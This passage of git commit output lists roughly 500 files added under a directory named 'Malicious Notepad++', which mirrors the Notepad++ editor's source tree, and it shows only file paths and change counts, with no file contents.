.../src/uchardet/nsUniversalDetector.cpp | 280 + .../src/uchardet/nsUniversalDetector.h | 89 + Malicious Notepad++/src/uchardet/nscore.h | 59 + Malicious Notepad++/src/uchardet/prmem.h | 49 + Malicious Notepad++/src/uchardet/uchardet.cpp | 106 + Malicious Notepad++/src/uchardet/uchardet.h | 92 + Malicious Notepad++/src/userDefineLang.xml | 62 + Malicious Notepad++/src/winmain.cpp | 586 + 500 files changed, 134773 insertions(+) create mode 100644 Malicious Notepad++/README.md create mode 100644 Malicious Notepad++/src/CMakeLists.txt create mode 100644 Malicious Notepad++/src/EncodingMapper.cpp create mode 100644 Malicious Notepad++/src/EncodingMapper.h create mode 100644 Malicious Notepad++/src/MISC/Common/Common.cpp create mode 100644 Malicious Notepad++/src/MISC/Common/Common.h create mode 100644 Malicious Notepad++/src/MISC/Common/LongRunningOperation.cpp create mode 100644 Malicious Notepad++/src/MISC/Common/LongRunningOperation.h create mode 100644 Malicious Notepad++/src/MISC/Common/Sorters.h create mode 100644 Malicious Notepad++/src/MISC/Common/mutex.cpp create mode 100644 Malicious Notepad++/src/MISC/Common/mutex.h create mode 100644 Malicious Notepad++/src/MISC/Common/mutex.hxx create mode 100644 Malicious Notepad++/src/MISC/Common/verifySignedfile.cpp create mode 100644 Malicious Notepad++/src/MISC/Common/verifySignedfile.h create mode 100644 Malicious Notepad++/src/MISC/Exception/MiniDumper.cpp create mode 100644 Malicious Notepad++/src/MISC/Exception/MiniDumper.h create mode 100644 Malicious Notepad++/src/MISC/Exception/Win32Exception.cpp create mode 100644 Malicious Notepad++/src/MISC/Exception/Win32Exception.h create mode 100644 Malicious Notepad++/src/MISC/FileNameStringSplitter.h create mode 100644 Malicious Notepad++/src/MISC/PluginsManager/IDAllocator.cpp create mode 100644 Malicious Notepad++/src/MISC/PluginsManager/IDAllocator.h create mode 100644 Malicious Notepad++/src/MISC/PluginsManager/Notepad_plus_msgs.h create mode 100644 Malicious Notepad++/src/MISC/PluginsManager/PluginInterface.h create mode 100644 Malicious Notepad++/src/MISC/PluginsManager/PluginsManager.cpp create mode 100644 Malicious Notepad++/src/MISC/PluginsManager/PluginsManager.h create mode 100644 Malicious Notepad++/src/MISC/PluginsManager/deprecatedSymbols.h create mode 100644 Malicious Notepad++/src/MISC/Process/Processus.cpp create mode 100644 Malicious Notepad++/src/MISC/Process/Processus.h create mode 100644 Malicious Notepad++/src/MISC/RegExt/regExtDlg.cpp create mode 100644 Malicious Notepad++/src/MISC/RegExt/regExtDlg.h create mode 100644 Malicious Notepad++/src/MISC/RegExt/regExtDlg.rc create mode 100644 Malicious Notepad++/src/MISC/RegExt/regExtDlgRc.h create mode 100644 Malicious Notepad++/src/MISC/crc16/Crc16.h create mode 100644 Malicious Notepad++/src/MISC/md5/md5.h create mode 100644 Malicious Notepad++/src/MISC/md5/md5Dlgs.cpp create mode 100644 Malicious Notepad++/src/MISC/md5/md5Dlgs.h create mode 100644 Malicious Notepad++/src/MISC/md5/md5Dlgs.rc create mode 100644 Malicious Notepad++/src/MISC/md5/md5Dlgs_rc.h create mode 100644 Malicious Notepad++/src/Notepad_plus.aps create mode 100644 Malicious Notepad++/src/Notepad_plus.cpp create mode 100644 Malicious Notepad++/src/Notepad_plus.h create mode 100644 Malicious Notepad++/src/Notepad_plus.rc create mode 100644 Malicious Notepad++/src/Notepad_plus_Window.cpp create mode 100644 Malicious Notepad++/src/Notepad_plus_Window.h create mode 100644 Malicious Notepad++/src/NppBigSwitch.cpp create mode 100644 Malicious Notepad++/src/NppCommands.cpp create mode 100644 Malicious Notepad++/src/NppIO.cpp create mode 100644 Malicious Notepad++/src/NppNotification.cpp create mode 100644 Malicious Notepad++/src/Parameters.cpp create mode 100644 Malicious Notepad++/src/Parameters.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/AutoCompletion.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/AutoCompletion.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/Buffer.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/Buffer.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/DocTabView.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/DocTabView.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.rc create mode 100644 Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg_rc.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/FunctionCallTip.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/FunctionCallTip.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/GoToLineDlg.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/GoToLineDlg.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/Printer.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/Printer.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/ScintillaCtrls.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/ScintillaCtrls.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/ScintillaEditView.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/ScintillaEditView.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/ScintillaRef.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/SmartHighlighter.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/SmartHighlighter.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.rc create mode 100644 Malicious Notepad++/src/ScitillaComponent/UserDefineLangReference.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/UserDefineResource.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/colors.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/columnEditor.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/columnEditor.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/columnEditor.rc create mode 100644 Malicious Notepad++/src/ScitillaComponent/columnEditor_rc.h create mode 100644 Malicious Notepad++/src/ScitillaComponent/xmlMatchedTagsHighlighter.cpp create mode 100644 Malicious Notepad++/src/ScitillaComponent/xmlMatchedTagsHighlighter.h create mode 100644 Malicious Notepad++/src/StaticControl.h create mode 100644 Malicious Notepad++/src/TinyXml/tinyXmlA/tinystrA.cpp create mode 100644 Malicious Notepad++/src/TinyXml/tinyXmlA/tinystrA.h create mode 100644 Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlA.cpp create mode 100644 Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlA.h create mode 100644 Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlerrorA.cpp create mode 100644 Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlparserA.cpp create mode 100644 Malicious Notepad++/src/TinyXml/tinystr.cpp create mode 100644 Malicious Notepad++/src/TinyXml/tinystr.h create mode 100644 Malicious Notepad++/src/TinyXml/tinyxml.cpp create mode 100644 Malicious Notepad++/src/TinyXml/tinyxml.h create mode 100644 Malicious Notepad++/src/TinyXml/tinyxmlerror.cpp create mode 100644 Malicious Notepad++/src/TinyXml/tinyxmlparser.cpp create mode 100644 Malicious Notepad++/src/UniConversion.cpp create mode 100644 Malicious Notepad++/src/UniConversion.h create mode 100644 Malicious Notepad++/src/Utf8.h create mode 100644 Malicious Notepad++/src/Utf8_16.cpp create mode 100644 Malicious Notepad++/src/Utf8_16.h create mode 100644 Malicious Notepad++/src/WinControls/AboutDlg/AboutDlg.cpp create mode 100644 Malicious Notepad++/src/WinControls/AboutDlg/AboutDlg.h create mode 100644 Malicious Notepad++/src/WinControls/AboutDlg/URLCtrl.cpp create mode 100644 Malicious Notepad++/src/WinControls/AboutDlg/URLCtrl.h create mode 100644 Malicious Notepad++/src/WinControls/AnsiCharPanel/ListView.cpp create mode 100644 Malicious Notepad++/src/WinControls/AnsiCharPanel/ListView.h create mode 100644 Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.cpp create mode 100644 Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.h create mode 100644 Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.rc create mode 100644 Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel_rc.h create mode 100644 Malicious Notepad++/src/WinControls/AnsiCharPanel/asciiListView.cpp create mode 100644 Malicious Notepad++/src/WinControls/AnsiCharPanel/asciiListView.h create mode 100644 Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.cpp create mode 100644 Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.h create mode 100644 Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.rc create mode 100644 Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel_rc.h create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/ColourPicker.cpp create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/ColourPicker.h create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.cpp create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.h create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.rc create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/ColourPopupResource.h create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.cpp create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.h create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.rc create mode 100644 Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlgRes.h create mode 100644 Malicious Notepad++/src/WinControls/ContextMenu/ContextMenu.cpp create mode 100644 Malicious Notepad++/src/WinControls/ContextMenu/ContextMenu.h create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/CloseDown.bmp create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/CloseUp.bmp create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/Docking.h create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/DockingCont.cpp create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/DockingCont.h create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/DockingDlgInterface.h create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/DockingGUIWidget.rc create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/DockingManager.cpp create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/DockingManager.h create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/DockingSplitter.cpp create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/DockingSplitter.h create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/Gripper.cpp create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/Gripper.h create mode 100644 Malicious Notepad++/src/WinControls/DockingWnd/dockingResource.h create mode 100644 Malicious Notepad++/src/WinControls/DocumentMap/documentMap.cpp create mode 100644 Malicious Notepad++/src/WinControls/DocumentMap/documentMap.h create mode 100644 Malicious Notepad++/src/WinControls/DocumentMap/documentMap.rc create mode 100644 Malicious Notepad++/src/WinControls/DocumentMap/documentMap_rc.h create mode 100644 Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.cpp create mode 100644 Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.h create mode 100644 Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.rc create mode 100644 Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot_rc.h create mode 100644 Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.cpp create mode 100644 Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.h create mode 100644 Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.rc create mode 100644 Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser_rc.h create mode 100644 Malicious Notepad++/src/WinControls/FindCharsInRange/FindCharsInRange.cpp create mode 100644 Malicious Notepad++/src/WinControls/FindCharsInRange/FindCharsInRange.h create mode 100644 Malicious Notepad++/src/WinControls/FindCharsInRange/findCharsInRange.rc create mode 100644 Malicious Notepad++/src/WinControls/FindCharsInRange/findCharsInRange_rc.h create mode 100644 Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.cpp create mode 100644 Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.h create mode 100644 Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.rc create mode 100644 Malicious Notepad++/src/WinControls/FunctionList/functionListPanel_rc.h create mode 100644 Malicious Notepad++/src/WinControls/FunctionList/functionParser.cpp create mode 100644 Malicious Notepad++/src/WinControls/FunctionList/functionParser.h create mode 100644 Malicious Notepad++/src/WinControls/Grid/BabyGrid.cpp create mode 100644 Malicious Notepad++/src/WinControls/Grid/BabyGrid.h create mode 100644 Malicious Notepad++/src/WinControls/Grid/BabyGridWrapper.cpp create mode 100644 Malicious Notepad++/src/WinControls/Grid/BabyGridWrapper.h create mode 100644 Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.cpp create mode 100644 Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.h create mode 100644 Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.rc create mode 100644 Malicious Notepad++/src/WinControls/Grid/ShortcutMapper_rc.h create mode 100644 Malicious Notepad++/src/WinControls/ImageListSet/ImageListSet.cpp create mode 100644 Malicious Notepad++/src/WinControls/ImageListSet/ImageListSet.h create mode 100644 Malicious Notepad++/src/WinControls/OpenSaveFileDialog/FileDialog.cpp create mode 100644 Malicious Notepad++/src/WinControls/OpenSaveFileDialog/FileDialog.h create mode 100644 Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.cpp create mode 100644 Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.h create mode 100644 Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.rc create mode 100644 Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdminRes.h create mode 100644 Malicious Notepad++/src/WinControls/Preference/preference.rc create mode 100644 Malicious Notepad++/src/WinControls/Preference/preferenceDlg.cpp create mode 100644 Malicious Notepad++/src/WinControls/Preference/preferenceDlg.h create mode 100644 Malicious Notepad++/src/WinControls/Preference/preference_rc.h create mode 100644 Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.cpp create mode 100644 Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.h create mode 100644 Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.rc create mode 100644 Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel_rc.h create mode 100644 Malicious Notepad++/src/WinControls/ProjectPanel/TreeView.cpp create mode 100644 Malicious Notepad++/src/WinControls/ProjectPanel/TreeView.h create mode 100644 Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChanges.cpp create mode 100644 Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChanges.h create mode 100644 Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.cpp create mode 100644 Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.h create mode 100644 Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ThreadSafeQueue.h create mode 100644 Malicious Notepad++/src/WinControls/ReadDirectoryChanges/targetver.h create mode 100644 Malicious Notepad++/src/WinControls/SplitterContainer/Splitter.cpp create mode 100644 Malicious Notepad++/src/WinControls/SplitterContainer/Splitter.h create mode 100644 Malicious Notepad++/src/WinControls/SplitterContainer/SplitterContainer.cpp create mode 100644 Malicious Notepad++/src/WinControls/SplitterContainer/SplitterContainer.h create mode 100644 Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.cpp create mode 100644 Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.h create mode 100644 Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.rc create mode 100644 Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg_rc.h create mode 100644 Malicious Notepad++/src/WinControls/StaticDialog/StaticDialog.cpp create mode 100644 Malicious Notepad++/src/WinControls/StaticDialog/StaticDialog.h create mode 100644 Malicious Notepad++/src/WinControls/StatusBar/StatusBar.cpp create mode 100644 Malicious Notepad++/src/WinControls/StatusBar/StatusBar.h create mode 100644 Malicious Notepad++/src/WinControls/TabBar/ControlsTab.cpp create mode 100644 Malicious Notepad++/src/WinControls/TabBar/ControlsTab.h create mode 100644 Malicious Notepad++/src/WinControls/TabBar/TabBar.cpp create mode 100644 Malicious Notepad++/src/WinControls/TabBar/TabBar.h create mode 100644 Malicious Notepad++/src/WinControls/TaskList/TaskList.cpp create mode 100644 Malicious Notepad++/src/WinControls/TaskList/TaskList.h create mode 100644 Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.cpp create mode 100644 Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.h create mode 100644 Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.rc create mode 100644 Malicious Notepad++/src/WinControls/TaskList/TaskListDlg_rc.h create mode 100644 Malicious Notepad++/src/WinControls/ToolBar/ToolBar.cpp create mode 100644 Malicious Notepad++/src/WinControls/ToolBar/ToolBar.h create mode 100644 Malicious Notepad++/src/WinControls/ToolTip/ToolTip.cpp create mode 100644 Malicious Notepad++/src/WinControls/ToolTip/ToolTip.h create mode 100644 Malicious Notepad++/src/WinControls/TrayIcon/trayIconControler.cpp create mode 100644 Malicious Notepad++/src/WinControls/TrayIcon/trayIconControler.h create mode 100644 Malicious Notepad++/src/WinControls/TreeView/TreeView.cpp create mode 100644 Malicious Notepad++/src/WinControls/TreeView/TreeView.h create mode 100644 Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.cpp create mode 100644 Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.h create mode 100644 Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher.rc create mode 100644 Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.cpp create mode 100644 Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.h create mode 100644 Malicious Notepad++/src/WinControls/VerticalFileSwitcher/VerticalFileSwitcher_rc.h create mode 100644 Malicious Notepad++/src/WinControls/Window.h create mode 100644 Malicious Notepad++/src/WinControls/WindowInterface.h create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/SizeableDlg.cpp create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/SizeableDlg.h create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/WinMgr.cpp create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/WinMgr.h create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/WinRect.cpp create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.cpp create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.h create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.rc create mode 100644 Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlgRc.h create mode 100644 Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.cpp create mode 100644 Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.h create mode 100644 Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.rc create mode 100644 Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg_rc.h create mode 100644 Malicious Notepad++/src/WinControls/shortcut/shortcut.cpp create mode 100644 Malicious Notepad++/src/WinControls/shortcut/shortcut.h create mode 100644 Malicious Notepad++/src/WinControls/shortcut/shortcut.rc create mode 100644 Malicious Notepad++/src/WinControls/shortcut/shortcutRc.h create mode 100644 Malicious Notepad++/src/clipboardFormats.h create mode 100644 Malicious Notepad++/src/contextMenu.xml create mode 100644 Malicious Notepad++/src/cursors/drag.cur create mode 100644 Malicious Notepad++/src/cursors/drag_interdit.cur create mode 100644 Malicious Notepad++/src/cursors/drag_out.cur create mode 100644 Malicious Notepad++/src/cursors/drag_plus.cur create mode 100644 Malicious Notepad++/src/dpiAware.manifest create mode 100644 Malicious Notepad++/src/dpiManager.h create mode 100644 Malicious Notepad++/src/functionList.xml create mode 100644 Malicious Notepad++/src/icons/allChars_off.ico create mode 100644 Malicious Notepad++/src/icons/allChars_on.ico create mode 100644 Malicious Notepad++/src/icons/asciiPanel.ico create mode 100644 Malicious Notepad++/src/icons/chameleon.ico create mode 100644 Malicious Notepad++/src/icons/clipboardPanel.ico create mode 100644 Malicious Notepad++/src/icons/closeAll.bmp create mode 100644 Malicious Notepad++/src/icons/closeFile.bmp create mode 100644 Malicious Notepad++/src/icons/closeTabButton.bmp create mode 100644 Malicious Notepad++/src/icons/closeTabButton_hover.bmp create mode 100644 Malicious Notepad++/src/icons/closeTabButton_inact.bmp create mode 100644 Malicious Notepad++/src/icons/closeTabButton_push.bmp create mode 100644 Malicious Notepad++/src/icons/copy.bmp create mode 100644 Malicious Notepad++/src/icons/cut.bmp create mode 100644 Malicious Notepad++/src/icons/cut_dis.ico create mode 100644 Malicious Notepad++/src/icons/cut_off.ico create mode 100644 Malicious Notepad++/src/icons/cut_on.ico create mode 100644 Malicious Notepad++/src/icons/delete.ico create mode 100644 Malicious Notepad++/src/icons/docMap.bmp create mode 100644 Malicious Notepad++/src/icons/docMap.ico create mode 100644 Malicious Notepad++/src/icons/docSwitcher.ico create mode 100644 Malicious Notepad++/src/icons/dupli_dis.ico create mode 100644 Malicious Notepad++/src/icons/dupli_off.ico create mode 100644 Malicious Notepad++/src/icons/dupli_on.ico create mode 100644 Malicious Notepad++/src/icons/fb_root_close.bmp create mode 100644 Malicious Notepad++/src/icons/fb_root_open.bmp create mode 100644 Malicious Notepad++/src/icons/fileBrowser.bmp create mode 100644 Malicious Notepad++/src/icons/fileBrowser.ico create mode 100644 Malicious Notepad++/src/icons/fileMonitoring.bmp create mode 100644 Malicious Notepad++/src/icons/find.bmp create mode 100644 Malicious Notepad++/src/icons/findReplace.bmp create mode 100644 Malicious Notepad++/src/icons/findResult.ico create mode 100644 Malicious Notepad++/src/icons/find_off.ico create mode 100644 Malicious Notepad++/src/icons/find_on.ico create mode 100644 Malicious Notepad++/src/icons/findrep_off.ico create mode 100644 Malicious Notepad++/src/icons/findrep_on.ico create mode 100644 Malicious Notepad++/src/icons/funcList_leaf.bmp create mode 100644 Malicious Notepad++/src/icons/funcList_node.bmp create mode 100644 Malicious Notepad++/src/icons/funclstReload.bmp create mode 100644 Malicious Notepad++/src/icons/funclstSort.bmp create mode 100644 Malicious Notepad++/src/icons/functionList.bmp create mode 100644 Malicious Notepad++/src/icons/functionList.ico create mode 100644 Malicious Notepad++/src/icons/imprim_off.ico create mode 100644 Malicious Notepad++/src/icons/imprim_on.ico create mode 100644 Malicious Notepad++/src/icons/incrementalBg.bmp create mode 100644 Malicious Notepad++/src/icons/indentGuide.bmp create mode 100644 Malicious Notepad++/src/icons/indentGuide_off.ico create mode 100644 Malicious Notepad++/src/icons/indentGuide_on.ico create mode 100644 Malicious Notepad++/src/icons/invisibleChar.bmp create mode 100644 Malicious Notepad++/src/icons/monitoring.ico create mode 100644 Malicious Notepad++/src/icons/newFile.bmp create mode 100644 Malicious Notepad++/src/icons/new_off.ico create mode 100644 Malicious Notepad++/src/icons/new_on.ico create mode 100644 Malicious Notepad++/src/icons/npp.ico create mode 100644 Malicious Notepad++/src/icons/nppNewIcon.ico create mode 100644 Malicious Notepad++/src/icons/openFile.bmp create mode 100644 Malicious Notepad++/src/icons/open_off.ico create mode 100644 Malicious Notepad++/src/icons/open_on.ico create mode 100644 Malicious Notepad++/src/icons/paste.bmp create mode 100644 Malicious Notepad++/src/icons/paste_dis.ico create mode 100644 Malicious Notepad++/src/icons/paste_off.ico create mode 100644 Malicious Notepad++/src/icons/paste_on.ico create mode 100644 Malicious Notepad++/src/icons/playRecord.bmp create mode 100644 Malicious Notepad++/src/icons/playRecord_m.bmp create mode 100644 Malicious Notepad++/src/icons/playrecord_dis.ico create mode 100644 Malicious Notepad++/src/icons/playrecord_m_dis.ico create mode 100644 Malicious Notepad++/src/icons/playrecord_m_off.ico create mode 100644 Malicious Notepad++/src/icons/playrecord_m_on.ico create mode 100644 Malicious Notepad++/src/icons/playrecord_off.ico create mode 100644 Malicious Notepad++/src/icons/playrecord_on.ico create mode 100644 Malicious Notepad++/src/icons/print.bmp create mode 100644 Malicious Notepad++/src/icons/projectPanel.ico create mode 100644 Malicious Notepad++/src/icons/project_file.bmp create mode 100644 Malicious Notepad++/src/icons/project_file_invalid.bmp create mode 100644 Malicious Notepad++/src/icons/project_folder_close.bmp create mode 100644 Malicious Notepad++/src/icons/project_folder_open.bmp create mode 100644 Malicious Notepad++/src/icons/project_root.bmp create mode 100644 Malicious Notepad++/src/icons/project_work_space.bmp create mode 100644 Malicious Notepad++/src/icons/project_work_space_dirty.bmp create mode 100644 Malicious Notepad++/src/icons/readonly.ico create mode 100644 Malicious Notepad++/src/icons/readonly.ico.old create mode 100644 Malicious Notepad++/src/icons/redo.bmp create mode 100644 Malicious Notepad++/src/icons/redo_dis.ico create mode 100644 Malicious Notepad++/src/icons/redo_off.ico create mode 100644 Malicious Notepad++/src/icons/redo_on.ico create mode 100644 Malicious Notepad++/src/icons/saveAll.bmp create mode 100644 Malicious Notepad++/src/icons/saveFile.bmp create mode 100644 Malicious Notepad++/src/icons/saveRecord.bmp create mode 100644 Malicious Notepad++/src/icons/save_dis.ico create mode 100644 Malicious Notepad++/src/icons/save_off.ico create mode 100644 Malicious Notepad++/src/icons/save_on.ico create mode 100644 Malicious Notepad++/src/icons/saveall_dis.ico create mode 100644 Malicious Notepad++/src/icons/saveall_off.ico create mode 100644 Malicious Notepad++/src/icons/saveall_on.ico create mode 100644 Malicious Notepad++/src/icons/saved.ico create mode 100644 Malicious Notepad++/src/icons/saved.ico.old create mode 100644 Malicious Notepad++/src/icons/saverecord_dis.ico create mode 100644 Malicious Notepad++/src/icons/saverecord_off.ico create mode 100644 Malicious Notepad++/src/icons/saverecord_on.ico create mode 100644 Malicious Notepad++/src/icons/showPannel.bmp create mode 100644 Malicious Notepad++/src/icons/startRecord.bmp create mode 100644 Malicious Notepad++/src/icons/startrecord_dis.ico create mode 100644 Malicious Notepad++/src/icons/startrecord_off.ico create mode 100644 Malicious Notepad++/src/icons/startrecord_on.ico create mode 100644 Malicious Notepad++/src/icons/stopRecord.bmp create mode 100644 Malicious Notepad++/src/icons/stoprecord_dis.ico create mode 100644 Malicious Notepad++/src/icons/stoprecord_off.ico create mode 100644 Malicious Notepad++/src/icons/stoprecord_on.ico create mode 100644 Malicious Notepad++/src/icons/supp_off.ico create mode 100644 Malicious Notepad++/src/icons/supp_on.ico create mode 100644 Malicious Notepad++/src/icons/suppall_off.ico create mode 100644 Malicious Notepad++/src/icons/suppall_on.ico create mode 100644 Malicious Notepad++/src/icons/syncH.bmp create mode 100644 Malicious Notepad++/src/icons/syncH_dis.ico create mode 100644 Malicious Notepad++/src/icons/syncH_off.ico create mode 100644 Malicious Notepad++/src/icons/syncH_on.ico create mode 100644 Malicious Notepad++/src/icons/syncV.bmp create mode 100644 Malicious Notepad++/src/icons/syncV_dis.ico create mode 100644 Malicious Notepad++/src/icons/syncV_off.ico create mode 100644 Malicious Notepad++/src/icons/syncV_on.ico create mode 100644 Malicious Notepad++/src/icons/undo.bmp create mode 100644 Malicious Notepad++/src/icons/undo_dis.ico create mode 100644 Malicious Notepad++/src/icons/undo_off.ico create mode 100644 Malicious Notepad++/src/icons/undo_on.ico create mode 100644 Malicious Notepad++/src/icons/unsaved.ico create mode 100644 Malicious Notepad++/src/icons/unsaved.ico.old create mode 100644 Malicious Notepad++/src/icons/userDefineDlg_off.ico create mode 100644 Malicious Notepad++/src/icons/userDefineDlg_on.ico create mode 100644 Malicious Notepad++/src/icons/wrap.bmp create mode 100644 Malicious Notepad++/src/icons/wrap_dis.ico create mode 100644 Malicious Notepad++/src/icons/wrap_off.ico create mode 100644 Malicious Notepad++/src/icons/wrap_on.ico create mode 100644 Malicious Notepad++/src/icons/zoomIn.bmp create mode 100644 Malicious Notepad++/src/icons/zoomIn_off.ico create mode 100644 Malicious Notepad++/src/icons/zoomIn_on.ico create mode 100644 Malicious Notepad++/src/icons/zoomOut.bmp create mode 100644 Malicious Notepad++/src/icons/zoomOut_off.ico create mode 100644 Malicious Notepad++/src/icons/zoomOut_on.ico create mode 100644 Malicious Notepad++/src/json/json.hpp create mode 100644 Malicious Notepad++/src/keys.h create mode 100644 Malicious Notepad++/src/langs.model.xml create mode 100644 Malicious Notepad++/src/lastRecentFileList.cpp create mode 100644 Malicious Notepad++/src/lastRecentFileList.h create mode 100644 Malicious Notepad++/src/lesDlgs.cpp create mode 100644 Malicious Notepad++/src/lesDlgs.h create mode 100644 Malicious Notepad++/src/localization.cpp create mode 100644 Malicious Notepad++/src/localization.h create mode 100644 Malicious Notepad++/src/localizationString.h create mode 100644 Malicious Notepad++/src/menuCmdID.h create mode 100644 Malicious Notepad++/src/notepad++.exe.manifest create mode 100644 Malicious Notepad++/src/resource.h create mode 100644 Malicious Notepad++/src/rgba_icons.h create mode 100644 Malicious Notepad++/src/shortcuts.xml create mode 100644 Malicious Notepad++/src/stylers.model.xml create mode 100644 Malicious Notepad++/src/toolbarIcons.xml create mode 100644 Malicious Notepad++/src/tools/ChangeIcon/ChangeIcon.cpp create mode 100644 Malicious 